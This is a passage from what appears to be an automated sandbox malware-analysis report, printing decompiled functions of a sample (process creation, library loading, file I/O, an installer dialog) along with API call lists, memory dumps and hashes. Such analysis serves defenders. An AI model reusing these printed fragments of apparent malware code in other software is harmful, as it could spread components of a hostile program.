				_t7 = CreateProcessW(0, _a4, 0, 0, 0, 0x4000000, 0, 0, 0x7a4f90,  &_v20); // executed
				if(_t7 != 0) {
					CloseHandle(_v20.hThread);
					return _v20.hProcess;
				}
				return _t7;
			}

0x00405c5a
0x00405c7a
0x00405c82
0x00405c87
0x00000000
0x00405c8d
0x00405c91

APIs

CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,04000000,00000000,00000000,007A4F90,00000000), ref: 00405C7A
CloseHandle.KERNEL32(?), ref: 00405C87

Memory Dump Source

Source File: 00000004.00000002.994761349.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.994735645.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.994773176.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.994811591.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.994863087.000000000040C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995261531.000000000077C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995299454.0000000000782000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995327222.0000000000786000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995333439.0000000000789000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995350711.00000000007A6000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995357768.00000000007B5000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995364915.00000000007B9000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_vbc.jbxd

Similarity

API ID: CloseCreateHandleProcess
String ID:
API String ID: 3712363035-0
Opcode ID: a96f74c6d97d8fddc601bdb2e7485f3ed7604f934fc57424aef617628e035306
Instruction ID: 1fa2a79eb519949bf7d30246b9e4481379e3d274eb9e55713eae969c2627164f
Opcode Fuzzy Hash: a96f74c6d97d8fddc601bdb2e7485f3ed7604f934fc57424aef617628e035306
Instruction Fuzzy Hash: 6AE0B6F4A00209BFEB00DFA4EE09F7B7AACEB44604F408525BD54F2191D7B9A8148A78

Uniqueness

Uniqueness Score: -1.00%

Function 00406A3B Relevance: 3.0, APIs: 2, Instructions: 22
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00406A3B(signed int _a4) {
				struct HINSTANCE__* _t5;
				signed int _t10;

				_t10 = _a4 << 3;
				_t8 =  *(_t10 + 0x40a410);
				_t5 = GetModuleHandleA( *(_t10 + 0x40a410));
				if(_t5 != 0) {
					L2:
					return GetProcAddress(_t5,  *(_t10 + 0x40a414));
				}
				_t5 = E004069CB(_t8); // executed
				if(_t5 == 0) {
					return 0;
				}
				goto L2;
			}

0x00406a43
0x00406a46
0x00406a4d
0x00406a55
0x00406a61
0x00000000
0x00406a68
0x00406a58
0x00406a5f
0x00000000
0x00406a70
0x00000000

APIs

GetModuleHandleA.KERNEL32(?,00000020,?,00403756,0000000B), ref: 00406A4D
GetProcAddress.KERNEL32(00000000,?), ref: 00406A68

Part of subcall function 004069CB: GetSystemDirectoryW.KERNEL32(?,00000104), ref: 004069E2
Part of subcall function 004069CB: wsprintfW.USER32 ref: 00406A1D
Part of subcall function 004069CB: LoadLibraryExW.KERNELBASE(?,00000000,00000008), ref: 00406A31

Memory Dump Source

Source File: 00000004.00000002.994761349.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.994735645.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.994773176.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.994811591.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.994863087.000000000040C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995261531.000000000077C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995299454.0000000000782000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995327222.0000000000786000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995333439.0000000000789000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995350711.00000000007A6000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995357768.00000000007B5000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995364915.00000000007B9000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_vbc.jbxd

Similarity

API ID: AddressDirectoryHandleLibraryLoadModuleProcSystemwsprintf
String ID:
API String ID: 2547128583-0
Opcode ID: 2c5be687f5fa61a336a49914f64a515c5dfea5ee9312c993601bf5eaa599f6ad
Instruction ID: 8bc6c373ae4a51b79335f269ef4a09a4b84a1385f2c3991dd3566e210a560b2e
Opcode Fuzzy Hash: 2c5be687f5fa61a336a49914f64a515c5dfea5ee9312c993601bf5eaa599f6ad
Instruction Fuzzy Hash: 56E0867660421066D610A6755D48D3773B89BC6710306843EF556F2040DB38DC359A6D

Uniqueness

Uniqueness Score: -1.00%

Function 0040615E Relevance: 3.0, APIs: 2, Instructions: 16
fileCOMMON

Download Yara Rule

C-Code - Quality: 68%

			E0040615E(WCHAR* _a4, long _a8, long _a12) {
				signed int _t5;
				void* _t6;

				_t5 = GetFileAttributesW(_a4); // executed
				asm("sbb ecx, ecx");
				_t6 = CreateFileW(_a4, _a8, 1, 0, _a12,  ~(_t5 + 1) & _t5, 0); // executed
				return _t6;
			}

0x00406162
0x0040616f
0x00406184
0x0040618a

APIs

GetFileAttributesW.KERNELBASE(00000003,00403113,007B6800,80000000,00000003), ref: 00406162
CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000), ref: 00406184

Memory Dump Source

Source File: 00000004.00000002.994761349.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.994735645.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.994773176.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.994811591.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.994863087.000000000040C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995261531.000000000077C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995299454.0000000000782000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995327222.0000000000786000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995333439.0000000000789000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995350711.00000000007A6000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995357768.00000000007B5000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995364915.00000000007B9000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_vbc.jbxd

Similarity

API ID: File$AttributesCreate
String ID:
API String ID: 415043291-0
Opcode ID: bc48b18717e6d0ecb647aea7fc0ab07bebcbb2e2e3a0bd9572a83b91cd6509df
Instruction ID: 0e1b57c135d9ed337dcee0f1630d7a3ffd6699826ab823f4ff8c6da5104765b0
Opcode Fuzzy Hash: bc48b18717e6d0ecb647aea7fc0ab07bebcbb2e2e3a0bd9572a83b91cd6509df
Instruction Fuzzy Hash: DCD09E71254201AFEF0D8F20DF16F2E7AA2EB94B04F11952CB682940E1DAB15C15AB19

Uniqueness

Uniqueness Score: -1.00%

Function 00406139 Relevance: 3.0, APIs: 2, Instructions: 13
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00406139(WCHAR* _a4) {
				signed char _t3;
				signed char _t7;

				_t3 = GetFileAttributesW(_a4); // executed
				_t7 = _t3;
				if(_t7 != 0xffffffff) {
					SetFileAttributesW(_a4, _t3 & 0x000000fe); // executed
				}
				return _t7;
			}

0x0040613e
0x00406144
0x00406149
0x00406152
0x00406152
0x0040615b

APIs

GetFileAttributesW.KERNELBASE(?,?,00405D3E,?,?,00000000,00405F14,?,?,?,?), ref: 0040613E
SetFileAttributesW.KERNELBASE(?,00000000), ref: 00406152

Memory Dump Source

Source File: 00000004.00000002.994761349.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.994735645.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.994773176.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.994811591.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.994863087.000000000040C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995261531.000000000077C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995299454.0000000000782000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995327222.0000000000786000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995333439.0000000000789000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995350711.00000000007A6000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995357768.00000000007B5000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995364915.00000000007B9000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_vbc.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: a764032cc0ce64e7f87df91ab84dfb27e8fca44cfd77f22972d2dc2d25b91850
Instruction ID: 4d59290e3aa44cd58c99826dd52d8cee581d87a9a88888807f370448835cb7c6
Opcode Fuzzy Hash: a764032cc0ce64e7f87df91ab84dfb27e8fca44cfd77f22972d2dc2d25b91850
Instruction Fuzzy Hash: C2D0C972504130ABC2502728AE0889ABB55EB642717014A35F9A5A62B0CB304C628A98

Uniqueness

Uniqueness Score: -1.00%

Function 00405C1C Relevance: 3.0, APIs: 2, Instructions: 9
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00405C1C(WCHAR* _a4) {
				int _t2;

				_t2 = CreateDirectoryW(_a4, 0); // executed
				if(_t2 == 0) {
					return GetLastError();
				}
				return 0;
			}

0x00405c22
0x00405c2a
0x00000000
0x00405c30
0x00000000

APIs

CreateDirectoryW.KERNELBASE(?,00000000,00403639,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403929), ref: 00405C22
GetLastError.KERNEL32 ref: 00405C30

Memory Dump Source

Source File: 00000004.00000002.994761349.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.994735645.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.994773176.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.994811591.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.994863087.000000000040C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995261531.000000000077C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995299454.0000000000782000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995327222.0000000000786000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995333439.0000000000789000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995350711.00000000007A6000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995357768.00000000007B5000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995364915.00000000007B9000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_vbc.jbxd

Similarity

API ID: CreateDirectoryErrorLast
String ID:
API String ID: 1375471231-0
Opcode ID: 3d774f31bfc7c5d70b6f8c035fc875d1b29c99f0800ffc9da4ab7b914865a185
Instruction ID: 9b4f5430b3bbe22f75525a6a8288bb62ac5ef9e6fdb3d88c50eeb6a92616e2bf
Opcode Fuzzy Hash: 3d774f31bfc7c5d70b6f8c035fc875d1b29c99f0800ffc9da4ab7b914865a185
Instruction Fuzzy Hash: 1EC04C71218609AEE7705B209F0DB177A949B50741F11443A6686F40A0DA788455D92D

Uniqueness

Uniqueness Score: -1.00%

Function 00406210 Relevance: 1.5, APIs: 1, Instructions: 22
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00406210(void* _a4, void* _a8, long _a12) {
				int _t7;
				long _t11;

				_t11 = _a12;
				_t7 = WriteFile(_a4, _a8, _t11,  &_a12, 0); // executed
				if(_t7 == 0 || _t11 != _a12) {
					return 0;
				} else {
					return 1;
				}
			}

0x00406214
0x00406224
0x0040622c
0x00000000
0x00406233
0x00000000
0x00406235

APIs

WriteFile.KERNELBASE(?,00000000,00000000,00000000,00000000), ref: 00406224

Memory Dump Source

Source File: 00000004.00000002.994761349.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.994735645.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.994773176.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.994811591.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.994863087.000000000040C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995261531.000000000077C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995299454.0000000000782000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995327222.0000000000786000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995333439.0000000000789000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995350711.00000000007A6000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995357768.00000000007B5000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995364915.00000000007B9000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_vbc.jbxd

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: 3dec9289c2e50997f5b7f42c7d661c3d3292bfbb80aff78175bf8fde073ef60e
Instruction ID: f08cceda346ec9350f11c22fcf513fe3bc01c5f1c17db0892cf19a12a1b56e8c
Opcode Fuzzy Hash: 3dec9289c2e50997f5b7f42c7d661c3d3292bfbb80aff78175bf8fde073ef60e
Instruction Fuzzy Hash: 95E08C3220026AABCF10AE698C00AEB3B6CFB05360F01447AFE56E7040D334E83087A5

Uniqueness

Uniqueness Score: -1.00%

Function 004061E1 Relevance: 1.5, APIs: 1, Instructions: 22
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004061E1(void* _a4, void* _a8, long _a12) {
				int _t7;
				long _t11;

				_t11 = _a12;
				_t7 = ReadFile(_a4, _a8, _t11,  &_a12, 0); // executed
				if(_t7 == 0 || _t11 != _a12) {
					return 0;
				} else {
					return 1;
				}
			}

0x004061e5
0x004061f5
0x004061fd
0x00000000
0x00406204
0x00000000
0x00406206

APIs

ReadFile.KERNELBASE(?,00000000,00000000,00000000,00000000), ref: 004061F5

Memory Dump Source

Source File: 00000004.00000002.994761349.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.994735645.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.994773176.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.994811591.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.994863087.000000000040C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995261531.000000000077C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995299454.0000000000782000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995327222.0000000000786000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995333439.0000000000789000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995350711.00000000007A6000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995357768.00000000007B5000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995364915.00000000007B9000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_vbc.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 0024165f2f5d2011be9120f41fe866c54f7b8e58de784a1218c53157080e4b8c
Instruction ID: a9904075eeec40e7e939a2dde13f9046a7e38eb284923ea40542f090f2fca858
Opcode Fuzzy Hash: 0024165f2f5d2011be9120f41fe866c54f7b8e58de784a1218c53157080e4b8c
Instruction Fuzzy Hash: 66E08632500219ABDF106E519C04AEB375CFB01350F01487AFD22E2151E231E87187A8

Uniqueness

Uniqueness Score: -1.00%

Function 004035FE Relevance: 1.5, APIs: 1, Instructions: 6
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E004035FE(long _a4) {
				long _t2;

				_t2 = SetFilePointer( *0x40a018, _a4, 0, 0); // executed
				return _t2;
			}

0x0040360c
0x00403612

APIs

SetFilePointer.KERNELBASE(00000000,00000000,00000000,004032FC,?), ref: 0040360C

Memory Dump Source

Source File: 00000004.00000002.994761349.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.994735645.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.994773176.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.994811591.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.994863087.000000000040C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995261531.000000000077C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995299454.0000000000782000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995327222.0000000000786000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995333439.0000000000789000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995350711.00000000007A6000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995357768.00000000007B5000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995364915.00000000007B9000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_vbc.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: e1e4f0b9cbde4cef3e4374ef9de0ac4f9a9ec0cef6a377cf2568efe91b529ef4
Instruction ID: 036c8468b6dd2e012b37e6e875261c5f60c7cf4634656b07e897873a541603b6
Opcode Fuzzy Hash: e1e4f0b9cbde4cef3e4374ef9de0ac4f9a9ec0cef6a377cf2568efe91b529ef4
Instruction Fuzzy Hash: 1FB01231140304BFDA214F10DF09F067B21BB94700F20C034B384380F086711435EB0D

Uniqueness

Uniqueness Score: -1.00%

Function 00401FA4 Relevance: 1.3, APIs: 1, Instructions: 37
COMMON

Download Yara Rule

C-Code - Quality: 78%

			E00401FA4() {
				void* _t9;
				intOrPtr _t13;
				void* _t15;
				void* _t17;
				void* _t20;
				void* _t22;

				_t19 = E00402DA6(_t15);
				E004056D0(0xffffffeb, _t7);
				_t9 = E00405C51(_t19); // executed
				_t20 = _t9;
				if(_t20 == _t15) {
					 *((intOrPtr*)(_t22 - 4)) = 1;
				} else {
					if( *((intOrPtr*)(_t22 - 0x28)) != _t15) {
						_t13 = E00406AE6(_t17, _t20); // executed
						if( *((intOrPtr*)(_t22 - 0x2c)) < _t15) {
							if(_t13 != _t15) {
								 *((intOrPtr*)(_t22 - 4)) = 1;
							}
						} else {
							E004065B5( *((intOrPtr*)(_t22 - 0xc)), _t13);
						}
					}
					_push(_t20);
					CloseHandle();
				}
				 *0x7a8b28 =  *0x7a8b28 +  *((intOrPtr*)(_t22 - 4));
				return 0;
			}

0x00401faa
0x00401faf
0x00401fb5
0x00401fba
0x00401fbe
0x0040292e
0x00401fc4
0x00401fc7
0x00401fca
0x00401fd2
0x00401fe1
0x00401fe3
0x00401fe3
0x00401fd4
0x00401fd8
0x00401fd8
0x00401fd2
0x00401fea
0x00401feb
0x00401feb
0x00402c2d
0x00402c39

APIs

Part of subcall function 004056D0: lstrlenW.KERNEL32(007A0F68,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,004030A8,00000000,?), ref: 00405708
Part of subcall function 004056D0: lstrlenW.KERNEL32(004030A8,007A0F68,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,004030A8,00000000), ref: 00405718
Part of subcall function 004056D0: lstrcatW.KERNEL32 ref: 0040572B
Part of subcall function 004056D0: SetWindowTextW.USER32 ref: 0040573D
Part of subcall function 004056D0: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405763
Part of subcall function 004056D0: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040577D
Part of subcall function 004056D0: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040578B

Part of subcall function 00405C51: CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,04000000,00000000,00000000,007A4F90,00000000), ref: 00405C7A
Part of subcall function 00405C51: CloseHandle.KERNEL32(?), ref: 00405C87

CloseHandle.KERNEL32(?), ref: 00401FEB

Part of subcall function 00406AE6: WaitForSingleObject.KERNEL32(?,00000064,00000000,00000000,?,?,00401F9F,?,?,?,?,?,?), ref: 00406AF7
Part of subcall function 00406AE6: GetExitCodeProcess.KERNELBASE(?,?), ref: 00406B19

Part of subcall function 004065B5: wsprintfW.USER32 ref: 004065C2

Memory Dump Source

Source File: 00000004.00000002.994761349.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.994735645.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.994773176.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.994811591.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.994863087.000000000040C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995261531.000000000077C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995299454.0000000000782000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995327222.0000000000786000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995333439.0000000000789000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995350711.00000000007A6000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995357768.00000000007B5000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995364915.00000000007B9000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_vbc.jbxd

Similarity

API ID: MessageSend$CloseHandleProcesslstrlen$CodeCreateExitObjectSingleTextWaitWindowlstrcatwsprintf
String ID:
API String ID: 2972824698-0
Opcode ID: efa72648fad6ec3f2344eb43542f960c9bac8b1359726ced394ac23af3d9461d
Instruction ID: 2caf0deb9ca9c7db124b05ee4a2ba4d84aa6555efd1b03c2e112275a9e200b7a
Opcode Fuzzy Hash: efa72648fad6ec3f2344eb43542f960c9bac8b1359726ced394ac23af3d9461d
Instruction Fuzzy Hash: FCF09671904111E7DB11BBA59A88E9E76A4DF01318F25443BE102B21D0D77C4D419A6E

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 0040580F Relevance: 65.0, APIs: 36, Strings: 1, Instructions: 284
windowclipboardmemoryCOMMON

Download Yara Rule

C-Code - Quality: 95%

			E0040580F(struct HWND__* _a4, long _a8, long _a12, unsigned int _a16) {
				struct HWND__* _v8;
				long _v12;
				struct tagRECT _v28;
				void* _v36;
				signed int _v40;
				int _v44;
				int _v48;
				signed int _v52;
				int _v56;
				void* _v60;
				void* _v68;
				void* __ebx;
				void* __edi;
				void* __esi;
				struct HWND__* _t94;
				long _t95;
				int _t100;
				void* _t108;
				intOrPtr _t130;
				struct HWND__* _t134;
				int _t156;
				int _t159;
				struct HMENU__* _t164;
				struct HWND__* _t168;
				struct HWND__* _t169;
				int _t171;
				void* _t172;
				short* _t173;
				short* _t175;
				int _t177;

				_t169 =  *0x7a7a84;
				_t156 = 0;
				_v8 = _t169;
				if(_a8 != 0x110) {
					if(_a8 == 0x405) {
						CloseHandle(CreateThread(0, 0, E004057A3, GetDlgItem(_a4, 0x3ec), 0,  &_v12));
					}
					if(_a8 != 0x111) {
						L17:
						_t171 = 1;
						if(_a8 != 0x404) {
							L25:
							if(_a8 != 0x7b) {
								goto L20;
							}
							_t94 = _v8;
							if(_a12 != _t94) {
								goto L20;
							}
							_t95 = SendMessageW(_t94, 0x1004, _t156, _t156);
							_a8 = _t95;
							if(_t95 <= _t156) {
								L36:
								return 0;
							}
							_t164 = CreatePopupMenu();
							AppendMenuW(_t164, _t156, _t171, E004066AB(_t156, _t164, _t171, _t156, 0xffffffe1));
							_t100 = _a16;
							_t159 = _a16 >> 0x10;
							if(_a16 == 0xffffffff) {
								GetWindowRect(_v8,  &_v28);
								_t100 = _v28.left;
								_t159 = _v28.top;
							}
							if(TrackPopupMenu(_t164, 0x180, _t100, _t159, _t156, _a4, _t156) == _t171) {
								_v60 = _t156;
								_v48 = 0x7a1f88;
								_v44 = 0x1000;
								_a4 = _a8;
								do {
									_a4 = _a4 - 1;
									_t171 = _t171 + SendMessageW(_v8, 0x1073, _a4,  &_v68) + 2;
								} while (_a4 != _t156);
								OpenClipboard(_t156);
								EmptyClipboard();
								_t108 = GlobalAlloc(0x42, _t171 + _t171);
								_a4 = _t108;
								_t172 = GlobalLock(_t108);
								do {
									_v48 = _t172;
									_t173 = _t172 + SendMessageW(_v8, 0x1073, _t156,  &_v68) * 2;
									 *_t173 = 0xd;
									_t175 = _t173 + 2;
									 *_t175 = 0xa;
									_t172 = _t175 + 2;
									_t156 = _t156 + 1;
								} while (_t156 < _a8);
								GlobalUnlock(_a4);
								SetClipboardData(0xd, _a4);
								CloseClipboard();
							}
							goto L36;
						}
						if( *0x7a7a6c == _t156) {
							ShowWindow( *0x7a8aa8, 8);
							if( *0x7a8b2c == _t156) {
								E004056D0( *((intOrPtr*)( *0x7a0f60 + 0x34)), _t156);
							}
							E004045A3(_t171);
							goto L25;
						}
						 *0x7a0758 = 2;
						E004045A3(0x78);
						goto L20;
					} else {
						if(_a12 != 0x403) {
							L20:
							return E00404631(_a8, _a12, _a16);
						}
						ShowWindow( *0x7a7a70, _t156);
						ShowWindow(_t169, 8);
						E004045FF(_t169);
						goto L17;
					}
				}
				_v52 = _v52 | 0xffffffff;
				_v40 = _v40 | 0xffffffff;
				_t177 = 2;
				_v60 = _t177;
				_v56 = 0;
				_v48 = 0;
				_v44 = 0;
				asm("stosd");
				asm("stosd");
				_t130 =  *0x7a8ab0;
				_a8 =  *((intOrPtr*)(_t130 + 0x5c));
				_a12 =  *((intOrPtr*)(_t130 + 0x60));
				 *0x7a7a70 = GetDlgItem(_a4, 0x403);
				 *0x7a7a68 = GetDlgItem(_a4, 0x3ee);
				_t134 = GetDlgItem(_a4, 0x3f8);
				 *0x7a7a84 = _t134;
				_v8 = _t134;
				E004045FF( *0x7a7a70);
				 *0x7a7a74 = E00404F58(4);
				 *0x7a7a8c = 0;
				GetClientRect(_v8,  &_v28);
				_v52 = _v28.right - GetSystemMetrics(_t177);
				SendMessageW(_v8, 0x1061, 0,  &_v60);
				SendMessageW(_v8, 0x1036, 0x4000, 0x4000);
				if(_a8 >= 0) {
					SendMessageW(_v8, 0x1001, 0, _a8);
					SendMessageW(_v8, 0x1026, 0, _a8);
				}
				if(_a12 >= _t156) {
					SendMessageW(_v8, 0x1024, _t156, _a12);
				}
				_push( *((intOrPtr*)(_a16 + 0x30)));
				_push(0x1b);
				E004045CA(_a4);
				if(( *0x7a8ab8 & 0x00000003) != 0) {
					ShowWindow( *0x7a7a70, _t156);
					if(( *0x7a8ab8 & 0x00000002) != 0) {
						 *0x7a7a70 = _t156;
					} else {
						ShowWindow(_v8, 8);
					}
					E004045FF( *0x7a7a68);
				}
				_t168 = GetDlgItem(_a4, 0x3ec);
				SendMessageW(_t168, 0x401, _t156, 0x75300000);
				if(( *0x7a8ab8 & 0x00000004) != 0) {
					SendMessageW(_t168, 0x409, _t156, _a12);
					SendMessageW(_t168, 0x2001, _t156, _a8);
				}
				goto L36;
			}

0x00405817
0x0040581d
0x00405827
0x0040582a
0x004059c0
0x004059e4
